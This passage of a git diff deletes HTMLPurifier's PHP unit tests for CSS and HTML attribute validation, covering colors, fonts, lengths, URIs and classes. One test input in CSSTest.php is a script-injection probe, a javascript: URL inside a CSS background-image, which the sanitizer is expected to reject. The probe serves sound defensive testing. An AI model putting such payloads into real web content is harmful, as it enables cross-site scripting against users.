top'); - $this->assertDef('right top'); - $this->assertDef('left center'); - $this->assertDef('right center'); - $this->assertDef('left bottom'); - $this->assertDef('center bottom'); - $this->assertDef('right bottom'); - - // reordered due to internal impl details - $this->assertDef('top left', 'left top'); - $this->assertDef('top center', 'top'); - $this->assertDef('top right', 'right top'); - $this->assertDef('center left', 'left'); - $this->assertDef('center center', 'center'); - $this->assertDef('center right', 'right'); - $this->assertDef('bottom left', 'left bottom'); - $this->assertDef('bottom center', 'bottom'); - $this->assertDef('bottom right', 'right bottom'); - - // more cases from the defined syntax - $this->assertDef('1.32in 4ex'); - $this->assertDef('-14% -84.65%'); - $this->assertDef('-1in -4ex'); - $this->assertDef('-1pc 2.3%'); - - // keyword mixing - $this->assertDef('3em top'); - $this->assertDef('left 50%'); - - // fixable keyword mixing - $this->assertDef('top 3em', '3em top'); - $this->assertDef('50% left', 'left 50%'); - - // whitespace collapsing - $this->assertDef('3em top', '3em top'); - $this->assertDef("left\n \t foo ", 'left'); - - // invalid uses (we're going to be strict on these) - $this->assertDef('foo bar', false); - $this->assertDef('left left', 'left'); - $this->assertDef('left right top bottom center left', 'left bottom'); - $this->assertDef('0fr 9%', '9%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php deleted file mode 100644 index aa18d096b..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php +++ /dev/null @@ -1,23 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Background($config); - - $valid = '#333 url("chess.png") repeat fixed 50% top'; - $this->assertDef($valid); - $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid); - $this->assertDef( - 'rgb(34, 56, 33) url(chess.png) repeat fixed top', - 'rgb(34,56,33) url("chess.png") repeat fixed top' - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php deleted file mode 100644 index 9159e8dc4..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->assertDef('thick solid red', 'thick solid #FF0000'); - $this->assertDef('thick solid'); - $this->assertDef('solid red', 'solid #FF0000'); - $this->assertDef('1px solid #000'); - $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php deleted file mode 100644 index 980bd9092..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php +++ /dev/null @@ -1,41 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->assertDef('#F00'); - $this->assertDef('#fff'); - $this->assertDef('#eeeeee'); - $this->assertDef('#808080'); - $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces - $this->assertDef('rgb(100%,0%,0%)'); - $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay - - $this->assertDef('#G00', false); - $this->assertDef('cmyk(40, 23, 43, 23)', false); - $this->assertDef('rgb(0%, 23, 68%)', false); - - // clip numbers outside sRGB gamut - $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); - $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); - - // color keywords, of course - $this->assertDef('red', '#FF0000'); - - // malformed hex declaration - $this->assertDef('808080', '#808080'); - $this->assertDef('000000', '#000000'); - $this->assertDef('fed', '#fed'); - - // maybe hex transformations would be another nice feature - // at the very least transform rgb percent to rgb integer - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php deleted file mode 100644 index ab683e369..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php +++ /dev/null @@ -1,82 +0,0 @@ -defs =& $defs; - } - -} - -class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness -{ - - protected $def1, $def2; - - public function test() - { - generate_mock_once('HTMLPurifier_AttrDef'); - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // first test: value properly validates on first definition - // so second def is never called - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'FOOBAR'; - $output = 'foobar'; - $def1_params = array($input, $config, $context); - $def1->expectOnce('validate', $def1_params); - $def1->setReturnValue('validate', $output, $def1_params); - $def2->expectNever('validate'); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // second test, first def fails, second def works - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = 'booma'; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', $output, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // third test, all fail, so composite faiils - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = false; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', false, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php deleted file mode 100644 index 19b2d8d70..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Filter(); - - $this->assertDef('none'); - - $this->assertDef('alpha(opacity=0)'); - $this->assertDef('alpha(opacity=100)'); - $this->assertDef('alpha(opacity=50)'); - $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); - $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); - - $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); - $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php deleted file mode 100644 index 7f2fe0d0b..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php +++ /dev/null @@ -1,53 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - $this->assertDef('Gill, Helvetica, sans-serif'); - $this->assertDef("'Times New Roman', serif"); - $this->assertDef("\"Times New Roman\"", "'Times New Roman'"); - $this->assertDef('01234'); - $this->assertDef(',', false); - $this->assertDef('Times New Roman, serif', "'Times New Roman', serif"); - $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); - $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); - $this->assertDef("'\\01'", "''"); - $this->assertDef("'\\20'", "' '"); - $this->assertDef("\\0020", "' '"); - $this->assertDef("'\\000045'", "E"); - $this->assertDef("','", false); - $this->assertDef("',' foobar','", "' foobar'"); - $this->assertDef("'\\000045a'", "Ea"); - $this->assertDef("'\\00045 a'", "Ea"); - $this->assertDef("'\\00045 a'", "'E a'"); - $this->assertDef("'\\\nf'", "f"); - // No longer supported, except maybe in NoJS mode (see source - // file for more explanation) - //$this->assertDef($d = '"John\'s Font"'); - //$this->assertDef("John's Font", $d); - //$this->assertDef("'\\','f'", "\"\\5C \", f"); - //$this->assertDef("'\\27'", "\"'\""); - //$this->assertDef('"\\22"', "\"\\22 \""); - //$this->assertDef('"\\""', "\"\\22 \""); - //$this->assertDef('"\'"', "\"'\""); - } - - public function testAllowed() - { - $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman')); - - $this->assertDef('serif'); - $this->assertDef('sans-serif', false); - $this->assertDef('serif, sans-serif', 'serif'); - $this->assertDef('Times New Roman', "'Times New Roman'"); - $this->assertDef("'Times New Roman'"); - $this->assertDef('foo', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php deleted file mode 100644 index c52d164fa..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php +++ /dev/null @@ -1,34 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Font($config); - - // hodgepodge of usage cases from W3C spec, but " -> ' - $this->assertDef('12px/14px sans-serif'); - $this->assertDef('80% sans-serif'); - $this->assertDef("x-large/110% 'New Century Schoolbook', serif"); - $this->assertDef('bold italic large Palatino, serif'); - $this->assertDef('normal small-caps 120%/120% fantasy'); - $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif"); - $this->assertDef('600 9px Charcoal'); - $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); - - // spacing - $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); - - // system fonts - $this->assertDef('menu'); - - $this->assertDef('800', false); - $this->assertDef('600 9px//12px Charcoal', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php deleted file mode 100644 index 0aa9da4e1..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php +++ /dev/null @@ -1,56 +0,0 @@ -mock = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true); - } - - protected function setMock($input, $output = null) - { - if ($output === null) $output = $input; - $this->mock->expectOnce('validate', array($input, $this->config, $this->context)); - $this->mock->setReturnValue('validate', $output); - } - - public function testImportant() - { - $this->setMock('23'); - $this->assertDef('23 !important'); - } - - public function testImportantInternalDefChanged() - { - $this->setMock('23', '24'); - $this->assertDef('23 !important', '24 !important'); - } - - public function testImportantWithSpace() - { - $this->setMock('23'); - $this->assertDef('23 ! important ', '23 !important'); - } - - public function testFakeImportant() - { - $this->setMock('! foo important'); - $this->assertDef('! foo important'); - } - - public function testStrip() - { - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false); - $this->setMock('23'); - $this->assertDef('23 ! important ', '23'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php deleted file mode 100644 index dd79f9060..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php +++ /dev/null @@ -1,49 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Length(); - - $this->assertDef('0'); - $this->assertDef('0px'); - $this->assertDef('4.5px'); - $this->assertDef('-4.5px'); - $this->assertDef('3ex'); - $this->assertDef('3em'); - $this->assertDef('3in'); - $this->assertDef('3cm'); - $this->assertDef('3mm'); - $this->assertDef('3pt'); - $this->assertDef('3pc'); - - $this->assertDef('3PX', '3px'); - - $this->assertDef('3', false); - $this->assertDef('3miles', false); - - } - - public function testNonNegative() - { - $this->def = new HTMLPurifier_AttrDef_CSS_Length('0'); - - $this->assertDef('3cm'); - $this->assertDef('-3mm', false); - - } - - public function testBounding() - { - $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in'); - $this->assertDef('1cm'); - $this->assertDef('-1cm'); - $this->assertDef('0'); - $this->assertDef('1em', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php deleted file mode 100644 index 7cd834647..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php +++ /dev/null @@ -1,35 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->assertDef('lower-alpha'); - $this->assertDef('upper-roman inside'); - $this->assertDef('circle outside'); - $this->assertDef('inside'); - $this->assertDef('none'); - $this->assertDef('url("foo.gif")'); - $this->assertDef('circle url("foo.gif") inside'); - - // invalid values - $this->assertDef('outside inside', 'outside'); - - // ordering - $this->assertDef('url(foo.gif) none', 'none url("foo.gif")'); - $this->assertDef('circle lower-alpha', 'circle'); - // the spec is ambiguous about what happens in these - // cases, so we're going off the W3C CSS validator - $this->assertDef('disc none', 'disc'); - $this->assertDef('none disc', 'none'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php deleted file mode 100644 index e2725f74e..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Multiple( - new HTMLPurifier_AttrDef_Integer() - ); - - $this->assertDef('1 2 3 4'); - $this->assertDef('6'); - $this->assertDef('4 5'); - $this->assertDef(' 2 54 2 3', '2 54 2 3'); - $this->assertDef("6\r3", '6 3'); - - $this->assertDef('asdf', false); - $this->assertDef('a s d f', false); - $this->assertDef('1 2 3 4 5', '1 2 3 4'); - $this->assertDef('1 2 invalid 3', '1 2 3'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php deleted file mode 100644 index 943bf5c0b..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php +++ /dev/null @@ -1,51 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Number(); - - $this->assertDef('0'); - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('34'); - $this->assertDef('4.5'); - $this->assertDef('.5'); - $this->assertDef('0.5', '.5'); - $this->assertDef('-56.9'); - - $this->assertDef('0.', '0'); - $this->assertDef('.0', '0'); - $this->assertDef('0.0', '0'); - - $this->assertDef('1.', '1'); - $this->assertDef('.1', '.1'); - - $this->assertDef('1.0', '1'); - $this->assertDef('0.1', '.1'); - - $this->assertDef('000', '0'); - $this->assertDef(' 9', '9'); - $this->assertDef('+5.0000', '5'); - $this->assertDef('02.20', '2.2'); - $this->assertDef('2.', '2'); - - $this->assertDef('.', false); - $this->assertDef('asdf', false); - $this->assertDef('0.5.6', false); - - } - - public function testNonNegative() - { - $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); - $this->assertDef('23'); - $this->assertDef('-12', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php deleted file mode 100644 index 5aa0090f0..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php +++ /dev/null @@ -1,24 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Percentage(); - - $this->assertDef('10%'); - $this->assertDef('1.607%'); - $this->assertDef('-567%'); - - $this->assertDef(' 100% ', '100%'); - - $this->assertDef('5', false); - $this->assertDef('asdf', false); - $this->assertDef('%', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php deleted file mode 100644 index fbefc6af6..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php +++ /dev/null @@ -1,27 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->assertDef('none'); - $this->assertDef('none underline', 'underline'); - - $this->assertDef('underline'); - $this->assertDef('overline'); - $this->assertDef('line-through overline underline'); - $this->assertDef('overline line-through'); - $this->assertDef('UNDERLINE', 'underline'); - $this->assertDef(' underline line-through ', 'underline line-through'); - - $this->assertDef('foobar underline', 'underline'); - $this->assertDef('blink', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php deleted file mode 100644 index a29f6e909..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_URI(); - - $this->assertDef('', false); - - // we could be nice but we won't be - $this->assertDef('http://www.example.com/', false); - - $this->assertDef('url(', false); - $this->assertDef('url("")', true); - $result = 'url("http://www.example.com/")'; - $this->assertDef('url(http://www.example.com/)', $result); - $this->assertDef('url("http://www.example.com/")', $result); - $this->assertDef("url('http://www.example.com/')", $result); - $this->assertDef( - ' url( "http://www.example.com/" ) ', $result); - $this->assertDef("url(http://www.example.com/foo,bar\)\'\()", - 'url("http://www.example.com/foo,bar%29%27%28")'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php deleted file mode 100644 index 778a22bde..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php +++ /dev/null @@ -1,172 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS(); - } - - public function test() - { - // regular cases, singular - $this->assertDef('text-align:right;'); - $this->assertDef('border-left-style:solid;'); - $this->assertDef('border-style:solid dotted;'); - $this->assertDef('clear:right;'); - $this->assertDef('float:left;'); - $this->assertDef('font-style:italic;'); - $this->assertDef('font-variant:small-caps;'); - $this->assertDef('font-weight:bold;'); - $this->assertDef('list-style-position:outside;'); - $this->assertDef('list-style-type:upper-roman;'); - $this->assertDef('list-style:upper-roman inside;'); - $this->assertDef('text-transform:capitalize;'); - $this->assertDef('background-color:rgb(0,0,255);'); - $this->assertDef('background-color:transparent;'); - $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;'); - $this->assertDef('color:#F00;'); - $this->assertDef('border-top-color:#F00;'); - $this->assertDef('border-color:#F00 #FF0;'); - $this->assertDef('border-top-width:thin;'); - $this->assertDef('border-top-width:12px;'); - $this->assertDef('border-width:5px 1px 4px 2px;'); - $this->assertDef('border-top-width:-12px;', false); - $this->assertDef('letter-spacing:normal;'); - $this->assertDef('letter-spacing:2px;'); - $this->assertDef('word-spacing:normal;'); - $this->assertDef('word-spacing:3em;'); - $this->assertDef('font-size:200%;'); - $this->assertDef('font-size:larger;'); - $this->assertDef('font-size:12pt;'); - $this->assertDef('line-height:2;'); - $this->assertDef('line-height:2em;'); - $this->assertDef('line-height:20%;'); - $this->assertDef('line-height:normal;'); - $this->assertDef('line-height:-20%;', false); - $this->assertDef('margin-left:5px;'); - $this->assertDef('margin-right:20%;'); - $this->assertDef('margin-top:auto;'); - $this->assertDef('margin:auto 5%;'); - $this->assertDef('padding-bottom:5px;'); - $this->assertDef('padding-top:20%;'); - $this->assertDef('padding:20% 10%;'); - $this->assertDef('padding-top:-20%;', false); - $this->assertDef('text-indent:3em;'); - $this->assertDef('text-indent:5%;'); - $this->assertDef('text-indent:-3em;'); - $this->assertDef('width:50%;'); - $this->assertDef('width:50px;'); - $this->assertDef('width:auto;'); - $this->assertDef('width:-50px;', false); - $this->assertDef('text-decoration:underline;'); - $this->assertDef('font-family:sans-serif;'); - $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;"); - $this->assertDef('font:12px serif;'); - $this->assertDef('border:1px solid #000;'); - $this->assertDef('border-bottom:2em double #FF00FA;'); - $this->assertDef('border-collapse:collapse;'); - $this->assertDef('border-collapse:separate;'); - $this->assertDef('caption-side:top;'); - $this->assertDef('vertical-align:middle;'); - $this->assertDef('vertical-align:12px;'); - $this->assertDef('vertical-align:50%;'); - $this->assertDef('table-layout:fixed;'); - $this->assertDef('list-style-image:url("nice.jpg");'); - $this->assertDef('list-style:disc url("nice.jpg") inside;'); - $this->assertDef('background-image:url("foo.jpg");'); - $this->assertDef('background-image:none;'); - $this->assertDef('background-repeat:repeat-y;'); - $this->assertDef('background-attachment:fixed;'); - $this->assertDef('background-position:left 90%;'); - $this->assertDef('border-spacing:1em;'); - $this->assertDef('border-spacing:1em 2em;'); - $this->assertDef('border-color: rgb(0, 0, 0) rgb(10,0,10)', 'border-color:rgb(0,0,0) rgb(10,0,10);'); - $this->assertDef('border: rgb(0, 0, 0)', 'border:rgb(0,0,0);'); - - // duplicates - $this->assertDef('text-align:right;text-align:left;', - 'text-align:left;'); - - // a few composites - $this->assertDef('font-variant:small-caps;font-weight:900;'); - $this->assertDef('float:right;text-align:right;'); - - // selective removal - $this->assertDef('text-transform:capitalize;destroy:it;', - 'text-transform:capitalize;'); - - // inherit works for everything - $this->assertDef('text-align:inherit;'); - - // bad props - $this->assertDef('nodice:foobar;', false); - $this->assertDef('position:absolute;', false); - $this->assertDef('background-image:url(\'javascript:alert\(\)\');', false); - - // airy input - $this->assertDef(' font-weight : bold; color : #ff0000', - 'font-weight:bold;color:#ff0000;'); - - // case-insensitivity - $this->assertDef('FLOAT:LEFT;', 'float:left;'); - - // !important stripping - $this->assertDef('float:left !important;', 'float:left;'); - - } - - public function testProprietary() - { - $this->config->set('CSS.Proprietary', true); - - $this->assertDef('scrollbar-arrow-color:#ff0;'); - $this->assertDef('scrollbar-base-color:#ff6347;'); - $this->assertDef('scrollbar-darkshadow-color:#ffa500;'); - $this->assertDef('scrollbar-face-color:#008080;'); - $this->assertDef('scrollbar-highlight-color:#ff69b4;'); - $this->assertDef('scrollbar-shadow-color:#f0f;'); - - $this->assertDef('-moz-opacity:.2;'); - $this->assertDef('-khtml-opacity:.2;'); - $this->assertDef('filter:alpha(opacity=20);'); - - } - - public function testImportant() - { - $this->config->set('CSS.AllowImportant', true); - $this->assertDef('float:left !important;'); - } - - public function testTricky() - { - $this->config->set('CSS.AllowTricky', true); - $this->assertDef('display:none;'); - $this->assertDef('visibility:visible;'); - $this->assertDef('overflow:scroll;'); - $this->assertDef('opacity:.2;'); - } - - public function testForbidden() - { - $this->config->set('CSS.ForbiddenProperties', 'float'); - $this->assertDef('float:left;', false); - $this->assertDef('text-align:right;'); - } - - public function testTrusted() - { - $this->config->set('CSS.Trusted', true); - $this->assertDef('position:relative;'); - $this->assertDef('left:2px;'); - $this->assertDef('right:100%;'); - $this->assertDef('top:auto;'); - $this->assertDef('z-index:-2;'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php deleted file mode 100644 index dda4dae13..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php +++ /dev/null @@ -1,41 +0,0 @@ -def = new HTMLPurifier_AttrDef_Enum(array('one', 'two')); - $this->assertDef('one'); - $this->assertDef('ONE', 'one'); - } - - public function testCaseSensitive() - { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one', 'two'), true); - $this->assertDef('one'); - $this->assertDef('ONE', false); - } - - public function testFixing() - { - $this->def = new HTMLPurifier_AttrDef_Enum(array('one')); - $this->assertDef(' one ', 'one'); - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_Enum(); - - $def = $factory->make('foo,bar'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')); - $this->assertIdentical($def, $def2); - - $def = $factory->make('s:foo,BAR'); - $def2 = new HTMLPurifier_AttrDef_Enum(array('foo', 'BAR'), true); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php deleted file mode 100644 index 8d05f03ab..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php +++ /dev/null @@ -1,24 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertDef('foo'); - $this->assertDef('', 'foo'); - $this->assertDef('bar', 'foo'); - } - - public function test_make() - { - $factory = new HTMLPurifier_AttrDef_HTML_Bool(); - $def = $factory->make('foo'); - $def2 = new HTMLPurifier_AttrDef_HTML_Bool('foo'); - $this->assertIdentical($def, $def2); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php deleted file mode 100644 index 8961f4641..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php +++ /dev/null @@ -1,53 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Class(); - } - public function testAllowedClasses() - { - $this->config->set('Attr.AllowedClasses', array('foo')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - public function testForbiddenClasses() - { - $this->config->set('Attr.ForbiddenClasses', array('bar')); - $this->assertDef('foo'); - $this->assertDef('bar', false); - $this->assertDef('foo bar', 'foo'); - } - public function testDefault() - { - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0stillvalid'); - $this->assertDef('-0'); - - // test conditional replacement - $this->assertDef('validassoc 0valid', 'validassoc 0valid'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - // test duplicate removal - $this->assertDef('valid valid', 'valid'); - } - public function testXHTML11Behavior() - { - $this->config->set('HTML.Doctype', 'XHTML 1.1'); - $this->assertDef('0invalid', false); - $this->assertDef('valid valid', 'valid'); - } -} diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php deleted file mode 100644 index 01c279a52..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php +++ /dev/null @@ -1,22 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Color(); - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('43', false); - $this->assertDef('red', '#FF0000'); - $this->assertDef('RED', '#FF0000'); - $this->assertDef('#FF0000'); - $this->assertDef('#453443'); - $this->assertDef('453443', '#453443'); - $this->assertDef('#345', '#334455'); - $this->assertDef('120', '#112200'); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php deleted file mode 100644 index 4f9f9292f..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php +++ /dev/null @@ -1,31 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_FrameTarget(); - } - - public function testNoneAllowed() - { - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('_blank', false); - $this->assertDef('baz', false); - } - - public function test() - { - $this->config->set('Attr.AllowedFrameTargets', 'foo,_blank'); - $this->assertDef('', false); - $this->assertDef('foo'); - $this->assertDef('_blank'); - $this->assertDef('baz', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php deleted file mode 100644 index 31870d228..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php +++ /dev/null @@ -1,110 +0,0 @@ -context->register('IDAccumulator', 